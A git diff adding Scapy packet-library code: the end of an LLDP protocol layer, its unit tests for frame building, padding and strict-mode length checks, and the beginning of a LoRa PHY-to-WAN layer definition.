+ if conf.contribs['LLDP'].strict_mode() and self._length != 2: + raise LLDPInvalidLengthField('length must be 2 - got ' + '{}'.format(self._length)) + + +class LLDPDUEndOfLLDPDU(LLDPDU): + """ + ieee 802.1ab-2016 - sec. 8.5.1 / p. 26 + """ + fields_desc = [ + BitEnumField('_type', 0x00, 7, LLDPDU.TYPES), + BitField('_length', 0x00, 9), + ] + + def extract_padding(self, s): + return '', s + + def _check(self): + """ + run layer specific checks + """ + if conf.contribs['LLDP'].strict_mode() and self._length != 0: + raise LLDPInvalidLengthField('length must be 0 - got ' + '{}'.format(self._length)) + + +class LLDPDUPortDescription(LLDPDU): + """ + ieee 802.1ab-2016 - sec. 8.5.5 / p. 29 + """ + fields_desc = [ + BitEnumField('_type', 0x04, 7, LLDPDU.TYPES), + BitFieldLenField('_length', None, 9, length_of='description'), + StrLenField('description', '', length_from=lambda pkt: pkt._length) + ] + + +class LLDPDUSystemName(LLDPDU): + """ + ieee 802.1ab-2016 - sec. 8.5.6 / p. 30 + """ + fields_desc = [ + BitEnumField('_type', 0x05, 7, LLDPDU.TYPES), + BitFieldLenField('_length', None, 9, length_of='system_name'), + StrLenField('system_name', '', length_from=lambda pkt: pkt._length) + ] + + +class LLDPDUSystemDescription(LLDPDU): + """ + ieee 802.1ab-2016 - sec. 8.5.7 / p. 31 + """ + fields_desc = [ + BitEnumField('_type', 0x06, 7, LLDPDU.TYPES), + BitFieldLenField('_length', None, 9, length_of='description'), + StrLenField('description', '', length_from=lambda pkt: pkt._length) + ] + + +class LLDPDUSystemCapabilities(LLDPDU): + """ + ieee 802.1ab-2016 - sec. 8.5.8 / p. 31 + """ + fields_desc = [ + BitEnumField('_type', 0x07, 7, LLDPDU.TYPES), + BitFieldLenField('_length', 4, 9), + BitField('reserved_5_available', 0, 1), + BitField('reserved_4_available', 0, 1), + BitField('reserved_3_available', 0, 1), + BitField('reserved_2_available', 0, 1), + BitField('reserved_1_available', 0, 1), + BitField('two_port_mac_relay_available', 0, 1), + BitField('s_vlan_component_available', 0, 1), + BitField('c_vlan_component_available', 0, 1), + BitField('station_only_available', 0, 1), + BitField('docsis_cable_device_available', 0, 1), + BitField('telephone_available', 0, 1), + BitField('router_available', 0, 1), + BitField('wlan_access_point_available', 0, 1), + BitField('mac_bridge_available', 0, 1), + BitField('repeater_available', 0, 1), + BitField('other_available', 0, 1), + BitField('reserved_5_enabled', 0, 1), + BitField('reserved_4_enabled', 0, 1), + BitField('reserved_3_enabled', 0, 1), + BitField('reserved_2_enabled', 0, 1), + BitField('reserved_1_enabled', 0, 1), + BitField('two_port_mac_relay_enabled', 0, 1), + BitField('s_vlan_component_enabled', 0, 1), + BitField('c_vlan_component_enabled', 0, 1), + BitField('station_only_enabled', 0, 1), + BitField('docsis_cable_device_enabled', 0, 1), + BitField('telephone_enabled', 0, 1), + BitField('router_enabled', 0, 1), + BitField('wlan_access_point_enabled', 0, 1), + BitField('mac_bridge_enabled', 0, 1), + BitField('repeater_enabled', 0, 1), + BitField('other_enabled', 0, 1), + ] + + def _check(self): + """ + run layer specific checks + """ + if conf.contribs['LLDP'].strict_mode() and self._length != 4: + raise LLDPInvalidLengthField('length must be 4 - got ' + '{}'.format(self._length)) + + +class LLDPDUManagementAddress(LLDPDU): + """ + ieee 802.1ab-2016 - sec. 8.5.9 / p. 32 + + currently only 0x00..0x1e are used by standards, no way to + use anything > 0xff as management address subtype is only + one octet wide + + see https://www.iana.org/assignments/address-family-numbers/address-family-numbers.xhtml # noqa: E501 + """ + IANA_ADDRESS_FAMILY_NUMBERS = { + 0x00: 'other', + 0x01: 'IPv4', + 0x02: 'IPv6', + 0x03: 'NSAP', + 0x04: 'HDLC', + 0x05: 'BBN', + 0x06: '802', + 0x07: 'E.163', + 0x08: 'E.164', + 0x09: 'F.69', + 0x0a: 'X.121', + 0x0b: 'IPX', + 0x0c: 'Appletalk', + 0x0d: 'Decnet IV', + 0x0e: 'Banyan Vines', + 0x0f: 'E.164 with NSAP', + 0x10: 'DNS', + 0x11: 'Distinguished Name', + 0x12: 'AS Number', + 0x13: 'XTP over IPv4', + 0x14: 'XTP over IPv6', + 0x15: 'XTP native mode XTP', + 0x16: 'Fiber Channel World-Wide Port Name', + 0x17: 'Fiber Channel World-Wide Node Name', + 0x18: 'GWID', + 0x19: 'AFI for L2VPN', + 0x1a: 'MPLS-TP Section Endpoint ID', + 0x1b: 'MPLS-TP LSP Endpoint ID', + 0x1c: 'MPLS-TP Pseudowire Endpoint ID', + 0x1d: 'MT IP Multi-Topology IPv4', + 0x1e: 'MT IP Multi-Topology IPv6' + } + + SUBTYPE_MANAGEMENT_ADDRESS_OTHER = 0x00 + SUBTYPE_MANAGEMENT_ADDRESS_IPV4 = 0x01 + SUBTYPE_MANAGEMENT_ADDRESS_IPV6 = 0x02 + SUBTYPE_MANAGEMENT_ADDRESS_NSAP = 0x03 + SUBTYPE_MANAGEMENT_ADDRESS_HDLC = 0x04 + SUBTYPE_MANAGEMENT_ADDRESS_BBN = 0x05 + SUBTYPE_MANAGEMENT_ADDRESS_802 = 0x06 + SUBTYPE_MANAGEMENT_ADDRESS_E_163 = 0x07 + SUBTYPE_MANAGEMENT_ADDRESS_E_164 = 0x08 + SUBTYPE_MANAGEMENT_ADDRESS_F_69 = 0x09 + SUBTYPE_MANAGEMENT_ADDRESS_X_121 = 0x0A + SUBTYPE_MANAGEMENT_ADDRESS_IPX = 0x0B + SUBTYPE_MANAGEMENT_ADDRESS_APPLETALK = 0x0C + SUBTYPE_MANAGEMENT_ADDRESS_DECNET_IV = 0x0D + SUBTYPE_MANAGEMENT_ADDRESS_BANYAN_VINES = 0x0E + SUBTYPE_MANAGEMENT_ADDRESS_E_164_WITH_NSAP = 0x0F + SUBTYPE_MANAGEMENT_ADDRESS_DNS = 0x10 + SUBTYPE_MANAGEMENT_ADDRESS_DISTINGUISHED_NAME = 0x11 + SUBTYPE_MANAGEMENT_ADDRESS_AS_NUMBER = 0x12 + SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV4 = 0x13 + SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV6 = 0x14 + SUBTYPE_MANAGEMENT_ADDRESS_XTP_NATIVE_MODE_XTP = 0x15 + SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_PORT_NAME = 0x16 + SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_NODE_NAME = 0x17 + SUBTYPE_MANAGEMENT_ADDRESS_GWID = 0x18 + SUBTYPE_MANAGEMENT_ADDRESS_AFI_FOR_L2VPN = 0x19 + SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_SECTION_ENDPOINT_ID = 0x1A + SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_LSP_ENDPOINT_ID = 0x1B + SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_PSEUDOWIRE_ENDPOINT_ID = 0x1C + SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV4 = 0x1D + SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV6 = 0x1E + + INTERFACE_NUMBERING_SUBTYPES = { + 0x01: 'unknown', + 0x02: 'ifIndex', + 0x03: 'system port number' + } + + SUBTYPE_INTERFACE_NUMBER_UNKNOWN = 0x01 + SUBTYPE_INTERFACE_NUMBER_IF_INDEX = 0x02 + SUBTYPE_INTERFACE_NUMBER_SYSTEM_PORT_NUMBER = 0x03 + + ''' + Note - calculation of _length field:: + + _length = 1@_management_address_string_length + + 1@management_address_subtype + + management_address.len + + 1@interface_numbering_subtype + + 4@interface_number + + 1@_oid_string_length + + object_id.len + ''' + + fields_desc = [ + BitEnumField('_type', 0x08, 7, LLDPDU.TYPES), + BitFieldLenField('_length', None, 9, length_of='management_address', + adjust=lambda pkt, x: + 8 + len(pkt.management_address) + len(pkt.object_id)), + BitFieldLenField('_management_address_string_length', None, 8, + length_of='management_address', + adjust=lambda pkt, x: len(pkt.management_address) + 1), # noqa: E501 + ByteEnumField('management_address_subtype', 0x00, + IANA_ADDRESS_FAMILY_NUMBERS), + XStrLenField('management_address', '', + length_from=lambda pkt: + pkt._management_address_string_length - 1), + ByteEnumField('interface_numbering_subtype', + SUBTYPE_INTERFACE_NUMBER_UNKNOWN, + INTERFACE_NUMBERING_SUBTYPES), + BitField('interface_number', 0, 32), + BitFieldLenField('_oid_string_length', None, 8, length_of='object_id'), + XStrLenField('object_id', '', + length_from=lambda pkt: pkt._oid_string_length), + ] + + def _check(self): + """ + run layer specific checks + """ + if conf.contribs['LLDP'].strict_mode(): + management_address_len = len(self.management_address) + if management_address_len == 0 or management_address_len > 31: + raise LLDPInvalidLengthField( + 'management address must be 1..31 characters long - ' + 'got string of size {}'.format(management_address_len)) + + +class ThreeBytesEnumField(EnumField, ThreeBytesField): + + def __init__(self, name, default, enum): + EnumField.__init__(self, name, default, enum, "!I") + + +class LLDPDUGenericOrganisationSpecific(LLDPDU): + + ORG_UNIQUE_CODE_PNO = 0x000ecf + ORG_UNIQUE_CODE_IEEE_802_1 = 0x0080c2 + ORG_UNIQUE_CODE_IEEE_802_3 = 0x00120f + ORG_UNIQUE_CODE_TIA_TR_41_MED = 0x0012bb + ORG_UNIQUE_CODE_HYTEC = 0x30b216 + + ORG_UNIQUE_CODES = { + ORG_UNIQUE_CODE_PNO: "PROFIBUS International (PNO)", + ORG_UNIQUE_CODE_IEEE_802_1: "IEEE 802.1", + ORG_UNIQUE_CODE_IEEE_802_3: "IEEE 802.3", + ORG_UNIQUE_CODE_TIA_TR_41_MED: "TIA TR-41 Committee . Media Endpoint Discovery", # noqa: E501 + ORG_UNIQUE_CODE_HYTEC: "Hytec Geraetebau GmbH" + } + + fields_desc = [ + BitEnumField('_type', 127, 7, LLDPDU.TYPES), + BitFieldLenField('_length', None, 9, length_of='data', adjust=lambda pkt, x: len(pkt.data) + 4), # noqa: E501 + ThreeBytesEnumField('org_code', 0, ORG_UNIQUE_CODES), + ByteField('subtype', 0x00), + XStrLenField('data', '', length_from=lambda pkt: pkt._length - 4) + ] + + +# 0x09 .. 0x7e is reserved for future standardization and for now treated as Raw() data # noqa: E501 +LLDPDU_CLASS_TYPES = { + 0x00: LLDPDUEndOfLLDPDU, + 0x01: LLDPDUChassisID, + 0x02: LLDPDUPortID, + 0x03: LLDPDUTimeToLive, + 0x04: LLDPDUPortDescription, + 0x05: LLDPDUSystemName, + 0x06: LLDPDUSystemDescription, + 0x07: LLDPDUSystemCapabilities, + 0x08: LLDPDUManagementAddress, + 127: LLDPDUGenericOrganisationSpecific +} + + +class LLDPConfiguration(object): + """ + basic configuration for LLDP layer + """ + + def __init__(self): + self._strict_mode = True + self.strict_mode_enable() + + def strict_mode_enable(self): + """ + enable strict mode and dissector debugging + """ + self._strict_mode = True + + def strict_mode_disable(self): + """ + disable strict mode and dissector debugging + """ + self._strict_mode = False + + def strict_mode(self): + """ + get current strict mode state + """ + return self._strict_mode + + +conf.contribs['LLDP'] = LLDPConfiguration() + +bind_layers(Ether, LLDPDU, type=LLDP_ETHER_TYPE) +bind_layers(Dot1Q, LLDPDU, type=LLDP_ETHER_TYPE) diff --git a/libs/scapy/contrib/lldp.uts b/libs/scapy/contrib/lldp.uts new file mode 100755 index 0000000..fb727f3 --- /dev/null +++ b/libs/scapy/contrib/lldp.uts @@ -0,0 +1,285 @@ +from enum import test +% LLDP test campaign + +# +# execute test: +# > test/run_tests -P "load_contrib('lldp')" -t scapy/contrib/lldp.uts +# + ++ Basic layer handling += build basic LLDP frames + +frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/ \ + LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01') / \ + LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ + LLDPDUTimeToLive()/\ + LLDPDUSystemName(system_name='mate')/\ + LLDPDUSystemCapabilities(telephone_available=1, router_available=1, telephone_enabled=1)/\ + LLDPDUManagementAddress( + management_address_subtype=LLDPDUManagementAddress.SUBTYPE_MANAGEMENT_ADDRESS_IPV4, + management_address='1.2.3.4', + interface_numbering_subtype=LLDPDUManagementAddress.SUBTYPE_INTERFACE_NUMBER_IF_INDEX, + interface_number=23, + object_id='abcd') / \ + LLDPDUEndOfLLDPDU() + +frm = frm.build() +frm = Ether(frm) + += add padding if required + +conf.contribs['LLDP'].strict_mode_disable() +frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \ + LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth0') / \ + LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ + LLDPDUTimeToLive() / \ + LLDPDUEndOfLLDPDU() +assert(len(raw(frm)) == 60) +assert(len(raw(Ether(raw(frm))[Padding])) == 24) + +frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \ + LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth012345678901234567890123') / \ + LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ + LLDPDUTimeToLive() / \ + LLDPDUEndOfLLDPDU() +assert (len(raw(frm)) == 60) +assert (len(raw(Ether(raw(frm))[Padding])) == 1) + +frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \ + LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth0123456789012345678901234') / \ + LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ + LLDPDUTimeToLive() / \ + LLDPDUEndOfLLDPDU() +assert (len(raw(frm)) == 60) +try: + Ether(raw(frm))[Padding] + assert False +except IndexError: + pass + + += Advanced test: check definitions and length of complex IDs + +pkt = Ether()/LLDPDUChassisID(id="ff:dd:ee:bb:aa:99", subtype=0x04)/LLDPDUPortID(subtype=0x03, id="aa:bb:cc:dd:ee:ff")/LLDPDUTimeToLive(ttl=120)/LLDPDUEndOfLLDPDU() +pkt = Ether(raw(pkt)) +assert pkt[LLDPDUChassisID].fields_desc[2].i2s == LLDPDUChassisID.LLDP_CHASSIS_ID_TLV_SUBTYPES +assert pkt[LLDPDUChassisID].fields_desc[3].subtypes_dict == LLDPDUChassisID.LLDP_CHASSIS_ID_TLV_SUBTYPES_FIELDS +assert pkt[LLDPDUPortID].fields_desc[2].i2s == LLDPDUPortID.LLDP_PORT_ID_TLV_SUBTYPES +assert pkt[LLDPDUPortID].fields_desc[3].subtypes_dict == LLDPDUPortID.LLDP_PORT_ID_TLV_SUBTYPES_FIELDS +assert pkt[LLDPDUChassisID]._length == 7 +assert pkt[LLDPDUPortID]._length == 7 + ++ strict mode handling - build += basic frame structure + +conf.contribs['LLDP'].strict_mode_enable() + +# invalid length in LLDPDUEndOfLLDPDU +try: + frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU(_length=8) + frm.build() + assert False +except LLDPInvalidLengthField: + pass + +# missing chassis id +try: + frm = Ether()/LLDPDUChassisID()/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() + frm.build() + assert False +except LLDPInvalidLengthField: + pass + +# missing management address +try: + frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUManagementAddress()/LLDPDUEndOfLLDPDU() + frm.build() + assert False +except LLDPInvalidLengthField: + pass + ++ strict mode handling - dissect += basic frame structure + +conf.contribs['LLDP'].strict_mode_enable() +# missing PortIDTLV +try: + frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() + Ether(frm.build()) + assert False +except LLDPInvalidFrameStructure: + pass + +# invalid order +try: + frm = Ether() / LLDPDUPortID(id='42') / LLDPDUChassisID(id='slartibart') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() + Ether(frm.build()) + assert False +except LLDPInvalidFrameStructure: + pass + +# layer LLDPDUPortID occurs twice +try: + frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUPortID(id='23') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() + Ether(frm.build()) + assert False +except LLDPInvalidFrameStructure: + pass + +# missing LLDPDUEndOfLLDPDU +try: + frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / \ + LLDPDUPortID(id='23') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() + Ether(frm.build()) + assert False +except LLDPInvalidFrameStructure: + pass + +conf.contribs['LLDP'].strict_mode_disable() +frm = Ether()/LLDPDUChassisID()/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() +frm = Ether(frm.build()) + += length fields / value sizes checks + +conf.contribs['LLDP'].strict_mode_enable() +# missing chassis id => invalid length +try: + frm = Ether() / LLDPDUChassisID() / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() + Ether(frm.build()) + assert False +except LLDPInvalidLengthField: + pass + +# invalid length in LLDPDUEndOfLLDPDU +try: + frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU(_length=8) + Ether(frm.build()) + assert False +except LLDPInvalidLengthField: + pass + +# invalid management address +try: + frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUManagementAddress() / LLDPDUEndOfLLDPDU() + Ether(frm.build()) + assert False +except LLDPInvalidLengthField: + pass + +conf.contribs['LLDP'].strict_mode_disable() + +frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() +frm = Ether(frm.build()) + +frm = Ether() / LLDPDUChassisID() / LLDPDUPortID() / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU(_length=8) +frm = Ether(frm.build()) + += test attribute values + +conf.contribs['LLDP'].strict_mode_enable() + +frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/ \ + LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ + LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id='01:02:03:04:05:06')/\ + LLDPDUTimeToLive()/\ + LLDPDUSystemName(system_name='things will')/\ + LLDPDUSystemCapabilities(telephone_available=1, + router_available=1, + telephone_enabled=1, + router_enabled=1)/\ + LLDPDUManagementAddress( + management_address_subtype=LLDPDUManagementAddress.SUBTYPE_MANAGEMENT_ADDRESS_IPV4, + management_address='1.2.3.4', + interface_numbering_subtype=LLDPDUManagementAddress.SUBTYPE_INTERFACE_NUMBER_IF_INDEX, + interface_number=23, + object_id='burn') / \ + LLDPDUSystemDescription(description='without tests.') / \ + LLDPDUPortDescription(description='always!') / \ + LLDPDUEndOfLLDPDU() + +frm = Ether(frm.build()) + +assert frm[LLDPDUChassisID].id == '06:05:04:03:02:01' +assert frm[LLDPDUPortID].id == '01:02:03:04:05:06' +sys_capabilities = frm[LLDPDUSystemCapabilities] +assert sys_capabilities.reserved_5_available == 0 +assert sys_capabilities.reserved_4_available == 0 +assert sys_capabilities.reserved_3_available == 0 +assert sys_capabilities.reserved_2_available == 0 +assert sys_capabilities.reserved_1_available == 0 +assert sys_capabilities.two_port_mac_relay_available == 0 +assert sys_capabilities.s_vlan_component_available == 0 +assert sys_capabilities.c_vlan_component_available == 0 +assert sys_capabilities.station_only_available == 0 +assert sys_capabilities.docsis_cable_device_available == 0 +assert sys_capabilities.telephone_available == 1 +assert sys_capabilities.router_available == 1 +assert sys_capabilities.wlan_access_point_available == 0 +assert sys_capabilities.mac_bridge_available == 0 +assert sys_capabilities.repeater_available == 0 +assert sys_capabilities.other_available == 0 +assert sys_capabilities.reserved_5_enabled == 0 +assert sys_capabilities.reserved_4_enabled == 0 +assert sys_capabilities.reserved_3_enabled == 0 +assert sys_capabilities.reserved_2_enabled == 0 +assert sys_capabilities.reserved_1_enabled == 0 +assert sys_capabilities.two_port_mac_relay_enabled == 0 +assert sys_capabilities.s_vlan_component_enabled == 0 +assert sys_capabilities.c_vlan_component_enabled == 0 +assert sys_capabilities.station_only_enabled == 0 +assert sys_capabilities.docsis_cable_device_enabled == 0 +assert sys_capabilities.telephone_enabled == 1 +assert sys_capabilities.router_enabled == 1 +assert sys_capabilities.wlan_access_point_enabled == 0 +assert sys_capabilities.mac_bridge_enabled == 0 +assert sys_capabilities.repeater_enabled == 0 +assert sys_capabilities.other_enabled == 0 +assert frm[LLDPDUManagementAddress].management_address == b'1.2.3.4' +assert frm[LLDPDUSystemName].system_name == b'things will' +assert frm[LLDPDUManagementAddress].object_id == b'burn' +assert frm[LLDPDUSystemDescription].description == b'without tests.' +assert frm[LLDPDUPortDescription].description == b'always!' + ++ organisation specific layers + += ThreeBytesEnumField tests + +three_b_enum_field = ThreeBytesEnumField('test', 0x00, + { + 0x0e: 'fourteen', + 0x00: 'zero', + 0x5566: 'five-six', + 0x0e0000: 'fourteen-zero-zero', + 0x0e0100: 'fourteen-one-zero', + 0x112233: '1#2#3' + }) + +assert(three_b_enum_field.i2repr(None, 0) == 'zero') +assert(three_b_enum_field.i2repr(None, 0x0e) == 'fourteen') +assert(three_b_enum_field.i2repr(None, 0x5566) == 'five-six') +assert(three_b_enum_field.i2repr(None, 0x112233) == '1#2#3') +assert(three_b_enum_field.i2repr(None, 0x0e0000) == 'fourteen-zero-zero') +assert(three_b_enum_field.i2repr(None, 0x0e0100) == 'fourteen-one-zero') +assert(three_b_enum_field.i2repr(None, 0x01) == '1') +assert(three_b_enum_field.i2repr(None, 0x49763) == '300899') + += LLDPDUGenericOrganisationSpecific tests + +frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\ + LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01')/\ + LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ + LLDPDUTimeToLive()/\ + LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO, + subtype=0x42, + data=b'FooBar'*5 + )/\ + LLDPDUEndOfLLDPDU() + +frm = frm.build() +frm = Ether(frm) +org_spec_layer = frm[LLDPDUGenericOrganisationSpecific] +assert(org_spec_layer) +assert(org_spec_layer._type == 127) +assert(org_spec_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO) +assert(org_spec_layer.subtype == 0x42) +assert(org_spec_layer._length == 34) diff --git a/libs/scapy/contrib/loraphy2wan.py b/libs/scapy/contrib/loraphy2wan.py new file mode 100755 index 0000000..0874c9e --- /dev/null +++ b/libs/scapy/contrib/loraphy2wan.py @@ -0,0 +1,695 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = LoRa PHY to WAN Layer +# scapy.contrib.status = loads + + +""" + Copyright (C) 2020 Sebastien Dudek (@FlUxIuS @PentHertz) +""" + +from __future__ import absolute_import + +from scapy.packet import Packet +from scapy.fields import BitField, ByteEnumField, ByteField, \ + ConditionalField, IntField, LEShortField, PacketListField, \ + StrFixedLenField, X3BytesField, XByteField, XIntField, \ + XShortField, BitFieldLenField, LEX3BytesField, XBitField, \ + BitEnumField, XLEIntField, StrField, PacketField + + +class FCtrl_DownLink(Packet): + name = "FCtrl_DownLink" + fields_desc = [BitField("ADR", 0, 1), + BitField("ADRACKReq", 0, 1), + BitField("ACK", 0, 1), + BitField("FPending", 0, 1), + BitFieldLenField("FOptsLen", 0, 4)] + + # pylint: disable=R0201 + def extract_padding(self, p): + return "", p + + +class FCtrl_UpLink(Packet): + name = "FCtrl_UpLink" + fields_desc = [BitField("ADR", 0, 1), + BitField("ADRACKReq", 0, 1), + BitField("ACK", 0, 1), + BitField("ClassB", 0, 1), + BitFieldLenField("FOptsLen", 0, 4)] + + # pylint: disable=R0201 + def extract_padding(self, p): + return "", p + + +class DevAddrElem(Packet): + name = "DevAddrElem" + fields_desc = [XByteField("NwkID", 0x0), + LEX3BytesField("NwkAddr", b"\x00" * 3)] + + +CIDs_up = {0x01: "ResetInd", + 0x02: "LinkCheckReq", + 0x03: "LinkADRReq", + 0x04: "DutyCycleReq", + 0x05: "RXParamSetupReq", + 0x06: "DevStatusReq", + 0x07: "NewChannelReq", + 0x08: "RXTimingSetupReq", + 0x09: "TxParamSetupReq", # LoRa 1.1 specs + 0x0A: "DlChannelReq", + 0x0B: "RekeyInd", + 0x0C: "ADRParamSetupReq", + 0x0D: "DeviceTimeReq", + 0x0E: "ForceRejoinReq", + 0x0F: "RejoinParamSetupReq"} # end of LoRa 1.1 specs + + +CIDs_down = {0x01: "ResetConf", + 0x02: "LinkCheckAns", + 0x03: "LinkADRAns", + 0x04: "DutyCycleAns", + 0x05: "RXParamSetupAns", + 0x06: "DevStatusAns", + 0x07: "NewChannelAns", + 0x08: "RXTimingSetupAns", + 0x09: "TxParamSetupAns", # LoRa 1.1 specs here + 0x0A: "DlChannelAns", + 0x0B: "RekeyConf", + 0x0C: "ADRParamSetupAns", + 0x0D: "DeviceTimeAns", + 0x0F: "RejoinParamSetupAns"} # end of LoRa 1.1 specs + + +class ResetInd(Packet): + name = "ResetInd" + fields_desc = [ByteField("Dev_version", 0)] + + +class ResetConf(Packet): + name = "ResetConf" + fields_desc = [ByteField("Serv_version", 0)] + + +class LinkCheckReq(Packet): + name = "LinkCheckReq" + + +class LinkCheckAns(Packet): + name = "LinkCheckAns" + fields_desc = [ByteField("Margin", 0), + ByteField("GwCnt", 0)] + + +class DataRate_TXPower(Packet): + name = "DataRate_TXPower" + fields_desc = [XBitField("DataRate", 0, 4), + XBitField("TXPower", 0, 4)] + + +class Redundancy(Packet): + name = "Redundancy" + fields_desc = [XBitField("RFU", 0, 1), + XBitField("ChMaskCntl", 0, 3), + XBitField("NbTrans", 0, 4)] + + +class LinkADRReq(Packet): + name = "LinkADRReq" + fields_desc = [DataRate_TXPower, + XShortField("ChMask", 0), + Redundancy] + + +class LinkADRAns_Status(Packet): + name = "LinkADRAns_Status" + fields_desc = [BitField("RFU", 0, 5), + BitField("PowerACK", 0, 1), + BitField("DataRate", 0, 1), + BitField("ChannelMaskACK", 0, 1)] + + +class LinkADRAns(Packet): + name = "LinkADRAns" + fields_desc = [PacketField("status", + LinkADRAns_Status(), + LinkADRAns_Status)] + + +class DutyCyclePL(Packet): + name = "DutyCyclePL" + fields_desc = [BitField("MaxDCycle", 0, 4)] + + +class DutyCycleReq(Packet): + name = "DutyCycleReq" + fields_desc = [DutyCyclePL] + + +class DutyCycleAns(Packet): + name = "DutyCycleAns" + fields_desc = [] + + +class DLsettings(Packet): + name = "DLsettings" + fields_desc = [BitField("OptNeg", 0, 1), + XBitField("RX1DRoffset", 0, 3), + XBitField("RX2_Data_rate", 0, 4)] + + +class RXParamSetupReq(Packet): + name = "RXParamSetupReq" + fields_desc = [DLsettings, + X3BytesField("Frequency", 0)] + + +class RXParamSetupAns_Status(Packet): + name = "RXParamSetupAns_Status" + fields_desc = [XBitField("RFU", 0, 5), + BitField("RX1DRoffsetACK", 0, 1), + BitField("RX2DatarateACK", 0, 1), + BitField("ChannelACK", 0, 1)] + + +class RXParamSetupAns(Packet): + name = "RXParamSetupAns" + fields_desc = [RXParamSetupAns_Status] + + +Battery_state = {0: "End-device connected to external source", + 255: "Battery level unknown"} + + +class DevStatusReq(Packet): + name = "DevStatusReq" + fields_desc = [ByteEnumField("Battery", 0, Battery_state), + ByteField("Margin", 0)] + + +class DevStatusAns_Status(Packet): + name = "DevStatusAns_Status" + fields_desc = [XBitField("RFU", 0, 2), + XBitField("Margin", 0, 6)] + + +class DevStatusAns(Packet): + name = "DevStatusAns" + fields_desc = [DevStatusAns_Status] + + +class DrRange(Packet): + name = "DrRange" + fields_desc = [XBitField("MaxDR", 0, 4), + XBitField("MinDR", 0, 4)] + + +class NewChannelReq(Packet): + name = "NewChannelReq" + fields_desc = [ByteField("ChIndex", 0), + X3BytesField("Freq", 0), + DrRange] + + +class NewChannelAns_Status(Packet): + name = "NewChannelAns_Status" + fields_desc = [XBitField("RFU", 0, 6), + BitField("Dataraterangeok", 0, 1), + BitField("Channelfrequencyok", 0, 1)] + + +class NewChannelAns(Packet): + name = "NewChannelAns" + fields_desc = [NewChannelAns_Status] + + +class RXTimingSetupReq_Settings(Packet): + name = "RXTimingSetupReq_Settings" + fields_desc = [XBitField("RFU", 0, 4), + XBitField("Del", 0, 4)] + + +class RXTimingSetupReq(Packet): + name = "RXTimingSetupReq" + fields_desc = 